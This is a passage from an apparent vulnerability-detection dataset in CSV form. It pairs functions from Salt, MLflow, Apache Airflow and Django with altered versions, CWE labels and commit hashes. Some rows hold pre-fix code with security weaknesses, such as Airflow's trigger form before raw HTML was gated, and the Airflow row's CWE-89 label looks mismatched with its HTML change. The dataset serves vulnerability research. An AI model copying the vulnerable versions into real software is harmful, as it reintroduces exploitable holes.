        infoMsg += ""on parameter '%s'"" % kb.injection.parameter
        logger.info(infoMsg)

    return kb.unionTest"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/auth/ldap.py,0,"def _bind(username, password):
    '''
    Authenticate via an LDAP bind
    '''
    # Get config params; create connection dictionary
    basedn = _config('basedn')
    scope = _config('scope')
    connargs = {}
    # config params (auth.ldap.*)
    params = {
        'mandatory': ['uri', 'server', 'port', 'tls', 'no_verify', 'anonymous'],
        'additional': ['binddn', 'bindpw', 'filter'],
    }

    paramvalues = {}

    for param in params['mandatory']:
        paramvalues[param] = _config(param)

    for param in params['additional']:
        paramvalues[param] = _config(param, mandatory=False)
        #try:
        #    paramvalues[param] = _config(param)
        #except SaltInvocationError:
        #    pass

    if paramvalues['binddn']:
        # the binddn can also be composited, e.g.
        #   - {{ username }}@domain.com
        #   - cn={{ username }},ou=users,dc=company,dc=tld
        # so make sure to render it first before using it
        paramvalues['binddn'] = _render_template(paramvalues['binddn'], username)
        paramvalues['binddn'] = ldap.filter.escape_filter_chars(paramvalues['binddn'])

    if paramvalues['filter']:
        escaped_username = ldap.filter.escape_filter_chars(username)
        paramvalues['filter'] = _render_template(paramvalues['filter'], escaped_username)

    # Only add binddn/bindpw to the connargs when they're set, as they're not
    # mandatory for initializing the LDAP object, but if they're provided
    # initially, a bind attempt will be done during the initialization to
    # validate them
    if paramvalues['binddn']:
        connargs['binddn'] = paramvalues['binddn']
        if paramvalues['bindpw']:
            params['mandatory'].append('bindpw')

    for name in params['mandatory']:
        connargs[name] = paramvalues[name]

    if not paramvalues['anonymous']:
        if paramvalues['binddn'] and paramvalues['bindpw']:
            # search for the user's DN to be used for the actual authentication
            _ldap = _LDAPConnection(**connargs).ldap
            log.debug(
                'Running LDAP user dn search with filter:{0}, dn:{1}, '
                'scope:{2}'.format(
                    paramvalues['filter'], basedn, scope
                )
            )
            result = _ldap.search_s(basedn, int(scope), paramvalues['filter'])
            if len(result) < 1:
                log.warn('Unable to find user {0}'.format(username))
                return False
            elif len(result) > 1:
                log.warn('Found multiple results for user {0}'.format(username))
                return False
            connargs['binddn'] = result[0][0]
        if paramvalues['binddn'] and not paramvalues['bindpw']:
            connargs['binddn'] = paramvalues['binddn']
    elif paramvalues['binddn'] and not paramvalues['bindpw']:
        connargs['binddn'] = paramvalues['binddn']

    # Update connection dictionary with the user's password
    connargs['bindpw'] = password
    # Attempt bind with user dn and password
    log.debug('Attempting LDAP bind with user dn: {0}'.format(connargs['binddn']))
    try:
        ldap_conn = _LDAPConnection(**connargs).ldap
    except Exception:
        log.warn('Failed to authenticate user dn via LDAP: {0}'.format(connargs))
        log.debug('Error authenticating user dn via LDAP:', exc_info=True)
        return False
    log.debug(
        'Successfully authenticated user dn via LDAP: {0}'.format(
            connargs['binddn']
        )
    )
    return ldap_conn",,saltstack/salt,19c8866976c67799a4038d0f5d75b0a4943c3341,"def _bind(username, password):
    '''
    Authenticate via an LDAP bind
    '''
    # Get config params; create connection dictionary
    basedn = _config('basedn')
    scope = _config('scope')
    connargs = {}
    # config params (auth.ldap.*)
    params = {
        'mandatory': ['uri', 'server', 'port', 'tls', 'no_verify', 'anonymous'],
        'additional': ['binddn', 'bindpw', 'filter'],
    }

    paramvalues = {}

    for param in params['mandatory']:
        paramvalues[param] = _config(param)

    for param in params['additional']:
        paramvalues[param] = _config(param, mandatory=False)
        #try:
        #    paramvalues[param] = _config(param)
        #except SaltInvocationError:
        #    pass

    if paramvalues['binddn']:
        # the binddn can also be composited, e.g.
        #   - {{ username }}@domain.com
        #   - cn={{ username }},ou=users,dc=company,dc=tld
        # so make sure to render it first before using it
        paramvalues['binddn'] = _render_template(paramvalues['binddn'], username)
        paramvalues['binddn'] = ldap.filter.escape_filter_chars(paramvalues['binddn'])

    if paramvalues['filter']:
        escaped_username = ldap.filter.escape_filter_chars(username)
        paramvalues['filter'] = _render_template(paramvalues['filter'], escaped_username) 

    # Only add binddn/bindpw to the connargs when they're set, as they're not
    # mandatory for initializing the LDAP object, but if they're provided
    # initially, a bind attempt will be done during the initialization to
    # validate them
    if paramvalues['binddn']:
        connargs['binddn'] = paramvalues['binddn']
        if paramvalues['bindpw']:
            params['mandatory'].append('bindpw')

    for name in params['mandatory']:
        connargs[name] = paramvalues[name]

    if not paramvalues['anonymous']:
        if paramvalues['binddn'] and paramvalues['bindpw']:
            # search for the user's DN to be used for the actual authentication
            _ldap = _LDAPConnection(**connargs).ldap
            log.debug(
                'Running LDAP user dn search with filter:{0}, dn:{1}, '
                'scope:{2}'.format(
                    paramvalues['filter'], basedn, scope
                )
            )
            result = _ldap.search_s(basedn, int(scope), paramvalues['filter'])
            if len(result) < 1:
                log.warn('Unable to find user {0}'.format(username))
                return False
            elif len(result) > 1:
                log.warn('Found multiple results for user {0}'.format(username))
                return False
            connargs['binddn'] = result[0][0]
        if paramvalues['binddn'] and not paramvalues['bindpw']:
            connargs['binddn'] = paramvalues['binddn']
    elif paramvalues['binddn'] and not paramvalues['bindpw']:
        connargs['binddn'] = paramvalues['binddn']

    # Update connection dictionary with the user's password
    connargs['bindpw'] = password
    # Attempt bind with user dn and password
    log.debug('Attempting LDAP bind with user dn: {0}'.format(connargs['binddn']))
    try:
        ldap_conn = _LDAPConnection(**connargs).ldap
    except Exception:
        log.warn('Failed to authenticate user dn via LDAP: {0}'.format(connargs))
        log.debug('Error authenticating user dn via LDAP:', exc_info=True)
        return False
    log.debug(
        'Successfully authenticated user dn via LDAP: {0}'.format(
            connargs['binddn']
        )
    )
    return ldap_conn"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/tracking/file_store.py,0,"def get_metric_history(self, run_id, metric_key, max_results=None, page_token=None):
        """"""
        Return all logged values for a given metric.

        :param run_id: Unique identifier for run
        :param metric_key: Metric name within the run
        :param max_results: An indicator for paginated results. This functionality is not
            implemented for FileStore and is unused in this store's implementation.
        :param page_token: An indicator for paginated results. This functionality is not
            implemented for FileStore and if the value is overridden with a value other than
            ``None``, an MlflowException will be thrown.

        :return: A List of :py:class:`mlflow.entities.Metric` entities if ``metric_key`` values
            have been logged to the ``run_id``, else an empty list.
        """"""
        # NB: The FileStore does not currently support pagination for this API.
        # Raise if `page_token` is specified, as the functionality to support paged queries
        # is not implemented.
        if page_token is not None:
            raise MlflowException(
                ""The FileStore backend does not support pagination for the ""
                f""`get_metric_history` API. Supplied argument `page_token` '{page_token}' must ""
                ""be `None`.""
            )

        _validate_run_id(run_id)
        _validate_metric_name(metric_key)
        run_info = self._get_run_info(run_id)

        parent_path, metric_files = self._get_run_files(run_info, ""metric"")
        if metric_key not in metric_files:
            return []
        return PagedList(
            [
                FileStore._get_metric_from_line(metric_key, line)
                for line in read_file_lines(parent_path, metric_key)
            ],
            None,
        )",,mlflow/mlflow,ab1aeb7b69e1a050a020c11ad759cb8d7eae3365,"def get_metric_history(self, run_id, metric_key, max_results=None, page_token=None):
        """"""
        Return all logged values for a given metric.

        :param run_id: Unique identifier for run
        :param metric_key: Metric name within the run
        :param max_results: An indicator for paginated results. This functionality is not
            implemented for FileStore and is unused in this store's implementation.
        :param page_token: An indicator for paginated results. This functionality is not
            implemented for FileStore and if the value is overridden with a value other than
            ``None``, an MlflowException will be thrown.

        :return: A List of :py:class:`mlflow.entities.Metric` entities if ``metric_key`` values
            have been logged to the ``run_id``, else an empty list.
        """"""
        # NB: The FileStore does not currently support pagination for this API.
        # Raise if `page_token` is specified, as the functionality to support paged queries
        # is not implemented.
        if page_token is not None:
            raise MlflowException(
                ""The FileStore backend does not support pagination for the ""
                f""`get_metric_history` API. Supplied argument `page_token` '{page_token}' must ""
                ""be `None`.""
            )

        _validate_run_id(run_id)
        _validate_metric_name(metric_key)
        run_info = self._get_run_info(run_id)

        parent_path, metric_files = self._get_run_files(run_info, ""metric"")
        if metric_key not in metric_files:
            run_id = run_info.run_id
            raise MlflowException(
                f""Metric '{metric_key}' not found under run '{run_id}'"",
                databricks_pb2.RESOURCE_DOES_NOT_EXIST,
            )
        return PagedList(
            [
                FileStore._get_metric_from_line(metric_key, line)
                for line in read_file_lines(parent_path, metric_key)
            ],
            None,
        )"
,UNKNOWN,UNKNOWN,airflow/www/views.py,1,"def trigger(self, dag_id: str, session: Session = NEW_SESSION):
        """"""Triggers DAG Run.""""""
        run_id = request.values.get(""run_id"", """")
        origin = get_safe_url(request.values.get(""origin""))
        unpause = request.values.get(""unpause"")
        request_conf = request.values.get(""conf"")
        request_execution_date = request.values.get(""execution_date"", default=timezone.utcnow().isoformat())
        is_dag_run_conf_overrides_params = conf.getboolean(""core"", ""dag_run_conf_overrides_params"")
        dag = get_airflow_app().dag_bag.get_dag(dag_id)
        dag_orm: DagModel = session.scalar(select(DagModel).where(DagModel.dag_id == dag_id).limit(1))

        # Prepare form fields with param struct details to render a proper form with schema information
        form_fields = {}
        for k, v in dag.params.items():
            form_fields[k] = v.dump()
            form_field: dict = form_fields[k]
            # If no schema is provided, auto-detect on default values
            if ""schema"" not in form_field:
                form_field[""schema""] = {}
            form_field_schema: dict = form_field[""schema""]
            if ""type"" not in form_field_schema:
                form_field_value = form_field[""value""]
                if isinstance(form_field_value, bool):
                    form_field_schema[""type""] = ""boolean""
                elif isinstance(form_field_value, int):
                    form_field_schema[""type""] = [""integer"", ""null""]
                elif isinstance(form_field_value, list):
                    form_field_schema[""type""] = [""array"", ""null""]
                elif isinstance(form_field_value, dict):
                    form_field_schema[""type""] = [""object"", ""null""]
            if ""description_md"" in form_field_schema:
                form_field[""description""] = wwwutils.wrapped_markdown(form_field_schema[""description_md""])
            # Check for default values and pre-populate
            if k in request.values:
                if form_field_schema.get(""type"", None) in [
                    ""boolean"",
                    ""array"",
                    [""array"", ""null""],
                    ""object"",
                    [""object"", ""null""],
                ]:
                    try:
                        form_field[""value""] = json.loads(request.values.get(k, """"))
                    except JSONDecodeError:
                        flash(
                            f'Could not pre-populate field ""{k}"" due to parsing error of value ""{request.values.get(k)}""'
                        )
                else:
                    form_field[""value""] = request.values.get(k)

        ui_fields_defined = any(""const"" not in f[""schema""] for f in form_fields.values())
        show_trigger_form_if_no_params = conf.getboolean(""webserver"", ""show_trigger_form_if_no_params"")

        if not dag_orm:
            flash(f""Cannot find dag {dag_id}"")
            return redirect(origin)

        if dag_orm.has_import_errors:
            flash(f""Cannot create dagruns because the dag {dag_id} has import errors"", ""error"")
            return redirect(origin)

        num_recent_confs = conf.getint(""webserver"", ""num_recent_configurations_for_trigger"")
        recent_runs = session.execute(
            select(DagRun.conf, func.max(DagRun.run_id).label(""run_id""), func.max(DagRun.execution_date))
            .where(
                DagRun.dag_id == dag_id,
                DagRun.run_type == DagRunType.MANUAL,
                DagRun.conf.isnot(None),
            )
            .group_by(DagRun.conf)
            .order_by(func.max(DagRun.execution_date).desc())
            .limit(num_recent_confs)
        )
        recent_confs = {
            run_id: json.dumps(run_conf, cls=utils_json.WebEncoder)
            for run_id, run_conf in ((run.run_id, run.conf) for run in recent_runs)
            if isinstance(run_conf, dict) and any(run_conf)
        }
        render_params = {
            ""dag"": dag,
            ""dag_id"": dag_id,
            ""run_id"": run_id,
            ""origin"": origin,
            ""doc_md"": wwwutils.wrapped_markdown(getattr(dag, ""doc_md"", None)),
            ""recent_confs"": recent_confs,
            ""is_dag_run_conf_overrides_params"": is_dag_run_conf_overrides_params,
        }

        if request.method == ""GET"" or (
            not request_conf and (ui_fields_defined or show_trigger_form_if_no_params)
        ):
            # Populate conf textarea with conf requests parameter, or dag.params
            default_conf = """"

            form = DateTimeForm(data={""execution_date"": request_execution_date})

            if request_conf:
                default_conf = request_conf
            else:
                try:
                    default_conf = json.dumps(
                        {
                            str(k): v.resolve(
                                value=request.values.get(k, default=NOTSET), suppress_exception=True
                            )
                            for k, v in dag.params.items()
                        },
                        indent=4,
                        ensure_ascii=False,
                        cls=utils_json.WebEncoder,
                    )
                except TypeError:
                    flash(""Could not pre-populate conf field due to non-JSON-serializable data-types"")
            return self.render_template(
                ""airflow/trigger.html"",
                form_fields=form_fields,
                **render_params,
                conf=default_conf,
                form=form,
            )

        try:
            execution_date = timezone.parse(request_execution_date, strict=True)
        except ParserError:
            flash(""Invalid execution date"", ""error"")
            form = DateTimeForm(data={""execution_date"": timezone.utcnow().isoformat()})
            return self.render_template(
                ""airflow/trigger.html"",
                form_fields=form_fields,
                **render_params,
                conf=request_conf or {},
                form=form,
            )

        dr = DagRun.find_duplicate(dag_id=dag_id, run_id=run_id, execution_date=execution_date)
        if dr:
            if dr.run_id == run_id:
                message = f""The run ID {run_id} already exists""
            else:
                message = f""The logical date {execution_date} already exists""
            flash(message, ""error"")
            return redirect(origin)

        regex = conf.get(""scheduler"", ""allowed_run_id_pattern"")
        if run_id and not re2.match(RUN_ID_REGEX, run_id):
            if not regex.strip() or not re2.match(regex.strip(), run_id):
                flash(
                    f""The provided run ID '{run_id}' is invalid. It does not match either ""
                    f""the configured pattern: '{regex}' or the built-in pattern: '{RUN_ID_REGEX}'"",
                    ""error"",
                )

                form = DateTimeForm(data={""execution_date"": execution_date})
                return self.render_template(
                    ""airflow/trigger.html"",
                    form_fields=form_fields,
                    **render_params,
                    conf=request_conf,
                    form=form,
                )

        run_conf = {}
        if request_conf:
            try:
                run_conf = json.loads(request_conf)
                if not isinstance(run_conf, dict):
                    flash(""Invalid JSON configuration, must be a dict"", ""error"")
                    form = DateTimeForm(data={""execution_date"": execution_date})
                    return self.render_template(
                        ""airflow/trigger.html"",
                        form_fields=form_fields,
                        **render_params,
                        conf=request_conf,
                        form=form,
                    )
            except json.decoder.JSONDecodeError:
                flash(""Invalid JSON configuration, not parseable"", ""error"")
                form = DateTimeForm(data={""execution_date"": execution_date})
                return self.render_template(
                    ""airflow/trigger.html"",
                    form_fields=form_fields,
                    **render_params,
                    conf=request_conf,
                    form=form,
                )

        if dag.get_is_paused():
            if unpause or not ui_fields_defined:
                flash(f""Unpaused DAG {dag_id}."")
                dag_model = models.DagModel.get_dagmodel(dag_id)
                if dag_model is not None:
                    dag_model.set_is_paused(is_paused=False)
            else:
                flash(
                    f""DAG {dag_id} is paused, unpause if you want to have the triggered run being executed."",
                    ""warning"",
                )

        try:
            dag_run = dag.create_dagrun(
                run_type=DagRunType.MANUAL,
                execution_date=execution_date,
                data_interval=dag.timetable.infer_manual_data_interval(run_after=execution_date),
                state=DagRunState.QUEUED,
                conf=run_conf,
                external_trigger=True,
                dag_hash=get_airflow_app().dag_bag.dags_hash.get(dag_id),
                run_id=run_id,
            )
        except (ValueError, ParamValidationError) as ve:
            flash(f""{ve}"", ""error"")
            form = DateTimeForm(data={""execution_date"": execution_date})
            # Take over ""bad"" submitted fields for new form display
            for k in form_fields:
                if k in run_conf:
                    form_fields[k][""value""] = run_conf[k]
            return self.render_template(
                ""airflow/trigger.html"",
                form_fields=form_fields,
                **render_params,
                conf=request_conf,
                form=form,
            )

        flash(f""Triggered {dag_id} with new Run ID {dag_run.run_id}, it should start any moment now."")
        if ""/grid?"" in origin:
            path, query = origin.split(""?"", 1)
            params = {param.split(""="")[0]: param.split(""="")[1] for param in query.split(""&"")}
            params[""dag_run_id""] = dag_run.run_id
            origin = f""{path}?{urlencode(params)}""
        elif origin.endswith(""/grid""):
            origin += f""?{urlencode({'dag_run_id': dag_run.run_id})}""
        return redirect(origin)",CWE-89,apache/airflow,23e971600a7530bf787eac59e652ccd8062445b0,"def trigger(self, dag_id: str, session: Session = NEW_SESSION):
        """"""Triggers DAG Run.""""""
        run_id = request.values.get(""run_id"", """")
        origin = get_safe_url(request.values.get(""origin""))
        unpause = request.values.get(""unpause"")
        request_conf = request.values.get(""conf"")
        request_execution_date = request.values.get(""execution_date"", default=timezone.utcnow().isoformat())
        is_dag_run_conf_overrides_params = conf.getboolean(""core"", ""dag_run_conf_overrides_params"")
        dag = get_airflow_app().dag_bag.get_dag(dag_id)
        dag_orm: DagModel = session.scalar(select(DagModel).where(DagModel.dag_id == dag_id).limit(1))

        # Prepare form fields with param struct details to render a proper form with schema information
        form_fields = {}
        allow_raw_html_descriptions = conf.getboolean(""webserver"", ""allow_raw_html_descriptions"")
        form_trust_problems = []
        for k, v in dag.params.items():
            form_fields[k] = v.dump()
            form_field: dict = form_fields[k]
            # If no schema is provided, auto-detect on default values
            if ""schema"" not in form_field:
                form_field[""schema""] = {}
            form_field_schema: dict = form_field[""schema""]
            if ""type"" not in form_field_schema:
                form_field_value = form_field[""value""]
                if isinstance(form_field_value, bool):
                    form_field_schema[""type""] = ""boolean""
                elif isinstance(form_field_value, int):
                    form_field_schema[""type""] = [""integer"", ""null""]
                elif isinstance(form_field_value, list):
                    form_field_schema[""type""] = [""array"", ""null""]
                elif isinstance(form_field_value, dict):
                    form_field_schema[""type""] = [""object"", ""null""]
            # Mark HTML fields as safe if allowed
            if allow_raw_html_descriptions:
                if ""description_html"" in form_field_schema:
                    form_field[""description""] = Markup(form_field_schema[""description_html""])
                if ""custom_html_form"" in form_field_schema:
                    form_field_schema[""custom_html_form""] = Markup(form_field_schema[""custom_html_form""])
            else:
                if ""description_html"" in form_field_schema and ""description_md"" not in form_field_schema:
                    form_trust_problems.append(f""Field {k} uses HTML description"")
                    form_field[""description""] = form_field_schema.pop(""description_html"")
                if ""custom_html_form"" in form_field_schema:
                    form_trust_problems.append(f""Field {k} uses custom HTML form definition"")
                    form_field_schema.pop(""custom_html_form"")
            if ""description_md"" in form_field_schema:
                form_field[""description""] = wwwutils.wrapped_markdown(form_field_schema[""description_md""])
            # Check for default values and pre-populate
            if k in request.values:
                if form_field_schema.get(""type"", None) in [
                    ""boolean"",
                    ""array"",
                    [""array"", ""null""],
                    ""object"",
                    [""object"", ""null""],
                ]:
                    try:
                        form_field[""value""] = json.loads(request.values.get(k, """"))
                    except JSONDecodeError:
                        flash(
                            f'Could not pre-populate field ""{k}"" due to parsing error of value ""{request.values.get(k)}""'
                        )
                else:
                    form_field[""value""] = request.values.get(k)
        if form_trust_problems:
            flash(
                Markup(
                    ""At least one field in the trigger form uses a raw HTML form definition. This is not allowed for ""
                    ""security. Please switch to markdown description via <code>description_md</code>. ""
                    ""Raw HTML is deprecated and must be enabled via ""
                    ""<code>webserver.allow_raw_html_descriptions</code> configuration parameter. Using plain text ""
                    ""as fallback for these fields. ""
                    f""<ul><li>{'</li><li>'.join(form_trust_problems)}</li></ul>""
                ),
                ""warning"",
            )
        if allow_raw_html_descriptions and any(""description_html"" in p.schema for p in dag.params.values()):
            flash(
                Markup(
                    ""The form params use raw HTML in <code>description_html</code> which is deprecated. ""
                    ""Please migrate to <code>description_md</code>.""
                ),
                ""warning"",
            )
        if allow_raw_html_descriptions and any(""custom_html_form"" in p.schema for p in dag.params.values()):
            flash(
                Markup(
                    ""The form params use <code>custom_html_form</code> definition. ""
                    ""This is deprecated with Airflow 2.8.0 and will be removed in a future release.""
                ),
                ""warning"",
            )

        ui_fields_defined = any(""const"" not in f[""schema""] for f in form_fields.values())
        show_trigger_form_if_no_params = conf.getboolean(""webserver"", ""show_trigger_form_if_no_params"")

        if not dag_orm:
            flash(f""Cannot find dag {dag_id}"")
            return redirect(origin)

        if dag_orm.has_import_errors:
            flash(f""Cannot create dagruns because the dag {dag_id} has import errors"", ""error"")
            return redirect(origin)

        num_recent_confs = conf.getint(""webserver"", ""num_recent_configurations_for_trigger"")
        recent_runs = session.execute(
            select(DagRun.conf, func.max(DagRun.run_id).label(""run_id""), func.max(DagRun.execution_date))
            .where(
                DagRun.dag_id == dag_id,
                DagRun.run_type == DagRunType.MANUAL,
                DagRun.conf.isnot(None),
            )
            .group_by(DagRun.conf)
            .order_by(func.max(DagRun.execution_date).desc())
            .limit(num_recent_confs)
        )
        recent_confs = {
            run_id: json.dumps(run_conf, cls=utils_json.WebEncoder)
            for run_id, run_conf in ((run.run_id, run.conf) for run in recent_runs)
            if isinstance(run_conf, dict) and any(run_conf)
        }
        render_params = {
            ""dag"": dag,
            ""dag_id"": dag_id,
            ""run_id"": run_id,
            ""origin"": origin,
            ""doc_md"": wwwutils.wrapped_markdown(getattr(dag, ""doc_md"", None)),
            ""recent_confs"": recent_confs,
            ""is_dag_run_conf_overrides_params"": is_dag_run_conf_overrides_params,
        }

        if request.method == ""GET"" or (
            not request_conf and (ui_fields_defined or show_trigger_form_if_no_params)
        ):
            # Populate conf textarea with conf requests parameter, or dag.params
            default_conf = """"

            form = DateTimeForm(data={""execution_date"": request_execution_date})

            if request_conf:
                default_conf = request_conf
            else:
                try:
                    default_conf = json.dumps(
                        {
                            str(k): v.resolve(
                                value=request.values.get(k, default=NOTSET), suppress_exception=True
                            )
                            for k, v in dag.params.items()
                        },
                        indent=4,
                        ensure_ascii=False,
                        cls=utils_json.WebEncoder,
                    )
                except TypeError:
                    flash(""Could not pre-populate conf field due to non-JSON-serializable data-types"")
            return self.render_template(
                ""airflow/trigger.html"",
                form_fields=form_fields,
                **render_params,
                conf=default_conf,
                form=form,
            )

        try:
            execution_date = timezone.parse(request_execution_date, strict=True)
        except ParserError:
            flash(""Invalid execution date"", ""error"")
            form = DateTimeForm(data={""execution_date"": timezone.utcnow().isoformat()})
            return self.render_template(
                ""airflow/trigger.html"",
                form_fields=form_fields,
                **render_params,
                conf=request_conf or {},
                form=form,
            )

        dr = DagRun.find_duplicate(dag_id=dag_id, run_id=run_id, execution_date=execution_date)
        if dr:
            if dr.run_id == run_id:
                message = f""The run ID {run_id} already exists""
            else:
                message = f""The logical date {execution_date} already exists""
            flash(message, ""error"")
            return redirect(origin)

        regex = conf.get(""scheduler"", ""allowed_run_id_pattern"")
        if run_id and not re2.match(RUN_ID_REGEX, run_id):
            if not regex.strip() or not re2.match(regex.strip(), run_id):
                flash(
                    f""The provided run ID '{run_id}' is invalid. It does not match either ""
                    f""the configured pattern: '{regex}' or the built-in pattern: '{RUN_ID_REGEX}'"",
                    ""error"",
                )

                form = DateTimeForm(data={""execution_date"": execution_date})
                return self.render_template(
                    ""airflow/trigger.html"",
                    form_fields=form_fields,
                    **render_params,
                    conf=request_conf,
                    form=form,
                )

        run_conf = {}
        if request_conf:
            try:
                run_conf = json.loads(request_conf)
                if not isinstance(run_conf, dict):
                    flash(""Invalid JSON configuration, must be a dict"", ""error"")
                    form = DateTimeForm(data={""execution_date"": execution_date})
                    return self.render_template(
                        ""airflow/trigger.html"",
                        form_fields=form_fields,
                        **render_params,
                        conf=request_conf,
                        form=form,
                    )
            except json.decoder.JSONDecodeError:
                flash(""Invalid JSON configuration, not parseable"", ""error"")
                form = DateTimeForm(data={""execution_date"": execution_date})
                return self.render_template(
                    ""airflow/trigger.html"",
                    form_fields=form_fields,
                    **render_params,
                    conf=request_conf,
                    form=form,
                )

        if dag.get_is_paused():
            if unpause or not ui_fields_defined:
                flash(f""Unpaused DAG {dag_id}."")
                dag_model = models.DagModel.get_dagmodel(dag_id)
                if dag_model is not None:
                    dag_model.set_is_paused(is_paused=False)
            else:
                flash(
                    f""DAG {dag_id} is paused, unpause if you want to have the triggered run being executed."",
                    ""warning"",
                )

        try:
            dag_run = dag.create_dagrun(
                run_type=DagRunType.MANUAL,
                execution_date=execution_date,
                data_interval=dag.timetable.infer_manual_data_interval(run_after=execution_date),
                state=DagRunState.QUEUED,
                conf=run_conf,
                external_trigger=True,
                dag_hash=get_airflow_app().dag_bag.dags_hash.get(dag_id),
                run_id=run_id,
            )
        except (ValueError, ParamValidationError) as ve:
            flash(f""{ve}"", ""error"")
            form = DateTimeForm(data={""execution_date"": execution_date})
            # Take over ""bad"" submitted fields for new form display
            for k in form_fields:
                if k in run_conf:
                    form_fields[k][""value""] = run_conf[k]
            return self.render_template(
                ""airflow/trigger.html"",
                form_fields=form_fields,
                **render_params,
                conf=request_conf,
                form=form,
            )

        flash(f""Triggered {dag_id} with new Run ID {dag_run.run_id}, it should start any moment now."")
        if ""/grid?"" in origin:
            path, query = origin.split(""?"", 1)
            params = {param.split(""="")[0]: param.split(""="")[1] for param in query.split(""&"")}
            params[""dag_run_id""] = dag_run.run_id
            origin = f""{path}?{urlencode(params)}""
        elif origin.endswith(""/grid""):
            origin += f""?{urlencode({'dag_run_id': dag_run.run_id})}""
        return redirect(origin)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/comments/views/comments.py,0,"def post_comment(request, next=None, using=None):
    """"""
    Post a comment.

    HTTP POST is required. If ``POST['submit'] == ""preview""`` or if there are
    errors a preview template, ``comments/preview.html``, will be rendered.
    """"""
    # Fill out some initial data fields from an authenticated user, if present
    data = request.POST.copy()
    if request.user.is_authenticated():
        if not data.get('name', ''):
            data[""name""] = request.user.get_full_name() or request.user.get_username()
        if not data.get('email', ''):
            data[""email""] = request.user.email

    # Look up the object we're trying to comment about
    ctype = data.get(""content_type"")
    object_pk = data.get(""object_pk"")
    if ctype is None or object_pk is None:
        return CommentPostBadRequest(""Missing content_type or object_pk field."")
    try:
        model = models.get_model(*ctype.split(""."", 1))
        target = model._default_manager.using(using).get(pk=object_pk)
    except TypeError:
        return CommentPostBadRequest(
            ""Invalid content_type value: %r"" % escape(ctype))
    except AttributeError:
        return CommentPostBadRequest(
            ""The given content-type %r does not resolve to a valid model."" % \
                escape(ctype))
    except ObjectDoesNotExist:
        return CommentPostBadRequest(
            ""No object matching content-type %r and object PK %r exists."" % \
                (escape(ctype), escape(object_pk)))
    except (ValueError, ValidationError) as e:
        return CommentPostBadRequest(
            ""Attempting go get content-type %r and object PK %r exists raised %s"" % \
                (escape(ctype), escape(object_pk), e.__class__.__name__))

    # Do we want to preview the comment?
    preview = ""preview"" in data

    # Construct the comment form
    form = comments.get_form()(target, data=data)

    # Check security information
    if form.security_errors():
        return CommentPostBadRequest(
            ""The comment form failed security verification: %s"" % \
                escape(str(form.security_errors())))

    # If there are errors or if we requested a preview show the comment
    if form.errors or preview:
        template_list = [
            # These first two exist for purely historical reasons.
            # Django v1.0 and v1.1 allowed the underscore format for
            # preview templates, so we have to preserve that format.
            ""comments/%s_%s_preview.html"" % (model._meta.app_label, model._meta.module_name),
            ""comments/%s_preview.html"" % model._meta.app_label,
            # Now the usual directory based template hierarchy.
            ""comments/%s/%s/preview.html"" % (model._meta.app_label, model._meta.module_name),
            ""comments/%s/preview.html"" % model._meta.app_label,
            ""comments/preview.html"",
        ]
        return render_to_response(
            template_list, {
                ""comment"": form.data.get(""comment"", """"),
                ""form"": form,
                ""next"": data.get(""next"", next),
            },
            RequestContext(request, {})
        )

    # Otherwise create the comment
    comment = form.get_comment_object()
    comment.ip_address = request.META.get(""REMOTE_ADDR"", None)
    if request.user.is_authenticated():
        comment.user = request.user

    # Signal that the comment is about to be saved
    responses = signals.comment_will_be_posted.send(
        sender=comment.__class__,
        comment=comment,
        request=request
    )

    for (receiver, response) in responses:
        if response == False:
            return CommentPostBadRequest(
                ""comment_will_be_posted receiver %r killed the comment"" % receiver.__name__)

    # Save the comment and signal that it was saved
    comment.save()
    signals.comment_was_posted.send(
        sender=comment.__class__,
        comment=comment,
        request=request
    )

    return next_redirect(request, fallback=next or 'comments-comment-done',
        c=comment._get_pk_val())",CWE-Unknown,django/django,a2f2a399566dd68ce7e312fff5a5ba857066797d,"def post_comment(request, next=None, using=None):
    """"""
    Post a comment.

    HTTP POST is required. If ``POST['submit'] == ""preview""`` or if there are
    errors a preview template, ``comments/preview.html``, will be rendered.
    """"""
    # Fill out some initial data fields from an authenticated user, if present
    data = request.POST.copy()
    if request.user.is_authenticated():
        if not data.get('name', ''):
            data[""name""] = request.user.get_full_name() or request.user.get_username()
        if not data.get('email', ''):
            data[""email""] = request.user.email

    # Check to see if the POST data overrides the view's next argument.
    next = data.get(""next"", next)

    # Look up the object we're trying to comment about
    ctype = data.get(""content_type"")
    object_pk = data.get(""object_pk"")
    if ctype is None or object_pk is None:
        return CommentPostBadRequest(""Missing content_type or object_pk field."")
    try:
        model = models.get_model(*ctype.split(""."", 1))
        target = model._default_manager.using(using).get(pk=object_pk)
    except TypeError:
        return CommentPostBadRequest(
            ""Invalid content_type value: %r"" % escape(ctype))
    except AttributeError:
        return CommentPostBadRequest(
            ""The given content-type %r does not resolve to a valid model."" % \
                escape(ctype))
    except ObjectDoesNotExist:
        return CommentPostBadRequest(
            ""No object matching content-type %r and object PK %r exists."" % \
                (escape(ctype), escape(object_pk)))
    except (ValueError, ValidationError) as e:
        return CommentPostBadRequest(
            ""Attempting go get content-type %r and object PK %r exists raised %s"" % \
                (escape(ctype), escape(object_pk), e.__class__.__name__))

    # Do we want to preview the comment?
    preview = ""preview"" in data

    # Construct the comment form
    form = comments.get_form()(target, data=data)

    # Check security information
    if form.security_errors():
        return CommentPostBadRequest(
            ""The comment form failed security verification: %s"" % \
                escape(str(form.security_errors())))

    # If there are errors or if we requested a preview show the comment
    if form.errors or preview:
        template_list = [
            # These first two exist for purely historical reasons.
            # Django v1.0 and v1.1 allowed the underscore format for
            # preview templates, so we have to preserve that format.
            ""comments/%s_%s_preview.html"" % (model._meta.app_label, model._meta.module_name),
            ""comments/%s_preview.html"" % model._meta.app_label,
            # Now the usual directory based template hierarchy.
            ""comments/%s/%s/preview.html"" % (model._meta.app_label, model._meta.module_name),
            ""comments/%s/preview.html"" % model._meta.app_label,
            ""comments/preview.html"",
        ]
        return render_to_response(
            template_list, {
                ""comment"": form.data.get(""comment"", """"),
                ""form"": form,
                ""next"": next,
            },
            RequestContext(request, {})
        )

    # Otherwise create the comment
    comment = form.get_comment_object()
    comment.ip_address = request.META.get(""REMOTE_ADDR"", None)
    if request.user.is_authenticated():
        comment.user = request.user

    # Signal that the comment is about to be saved
    responses = signals.comment_will_be_posted.send(
        sender=comment.__class__,
        comment=comment,
        request=request
    )

    for (receiver, response) in responses:
        if response == False:
            return CommentPostBadRequest(
